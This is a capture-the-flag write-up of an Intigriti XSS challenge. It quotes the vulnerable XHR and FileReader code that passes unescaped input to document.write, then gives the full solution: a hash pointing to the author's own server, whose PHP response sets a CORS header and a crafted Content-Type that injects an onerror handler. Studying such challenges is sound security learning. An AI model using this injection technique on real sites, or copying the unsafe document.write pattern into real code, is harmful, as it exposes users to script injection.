Play XSS with Intigriti

What’s about the story?

The story is about a XSS challenge from @intigriti. Following is my writeup and what I have learned from the challenge.

Intro to the challenge

Here is the source code:

var b64img = window.location.hash.substr(1);
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
  if (this.readyState == 4 && this.status == 200) {
    var reader = new FileReader();
    reader.onloadend = function() {
      document.write(`
        <a href="${b64img}" alt="${atob(b64img)}">
          <img src="${reader.result}">
        </a>`);
    }
    reader.readAsDataURL(this.response);
  }
};
xhttp.responseType = 'blob';
xhttp.open("GET", b64img, true);
xhttp.send();

It’s important that we always need to understand the source code before starting on the attack. This is a program with asynchronous request which we can know from true option in xhttp.open(). The handler onreadystatechange would be triggered when the readyState changes no matter the request succeed or failed. Our goal is to make a XSS attack with document.write(); therefore, we also need to fill the requirement of this.status == 200, which means the url of b64img in xhttp.open() should be valid! The Final step is FileReader, and it has four ways to read the content into the memory:

  1. readAsBinaryString(Blob|File): result would be data in binary format.
  2. readAsText: result would be data in text format, encoding with UTF-8.
  3. readAsDataURL: result would be data from URL scheme.
  4. readAsArrayBuffer: result would be data in ArrayBuffer obj.

This challenge uses the 3rd method to read from this.response which was the response of b64img. After loading finished, reader.onloadend would be triggered to write into the DOM. Here, I would summerize the workflow again:

  1. XMLHttpRequest to b64img
  2. If status is 200, FileReader would be created to read from response
  3. onloadend triggered after loading finished

Now, everything is clear, let’s start exploit :smirk:

Exploit

The simplest way is to close the tag of <a> and insert <script>alert(document.domain)</script>. Therefore, I base64-encode "><script>alert(document.domain)</script> and append it to the hash. However, you would find nothing in <body>. The reason is: Http status is 404 because you make a request to https://challenge.intigriti.io/2/Ij48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4=, and there is no such path on the server.
I cannot control the path of the server, but I can create the path on my own server. The second argument in xhttp.open("GET", b64img, true); can also be absolute URL path; therefore, I decide to assign my server path to b64img. Here are several challenges:

  • First, b64img needs to fill the format of base64. For example, the format of b64img must be //my-server-ip/payload. To make sure the part of payload can be decoded correctly, the part of //my-server-ip/ needs to be multiple of 4. The legal characters for base64 are [A-Za-z0-9+/], so I also need to convert my server ip into hex or decimal format. However, the problem still happens with my damn ip. Both //hex(ip)/ and //dec(ip)/ are 13 digits, none of them can help my payload be decoded correctly. Therefore, I change the format of b64img to //hex(ip). The target of request would be http://my-server-ip/index.php!
  • Second, we need to handle the problem of CORS (which can be found in console). It is easy because we can control the requested source. We just need to add http header of Access-Control-Allow-Origin: * in our index.php.
  • Third, our payload of <script>alert(document.domain)</script> is not in the url anymore, so where can we put the payload? This is the most interesting part: I have introduced the four ways of FileReader to read the content, and it also has different reader.result. The reader.result with readAsDataURL(this.response) would be data:[content-type][;base64],<data> from the response. I try to control the content of reader.result. Finally, I use content-type to close the quote and inject onerror in the image tag to make the XSS attack.
      <img src="data:" onerror="alert(document.domain)" ;base64,agvbg8k">
    

    My final payload on the challenge server is:

    http://challenge.intigriti.io/2/#//0xip
    

    and the content of my index.php is:

    <?php
    header("Access-Control-Allow-Origin: *");
    header("Content-Type: " onerror="alert(document.domain)"');
    

Key to this challenge

I consider the most important point to solve this challenge is to understand the xhr request. For example, when is the handler function onreadystatechange or onloadend triggered? How does FileReader read from response and return result? The knowledge not only help you understand how this webpage works to load the image resource, but also help you solve this XSS challenge!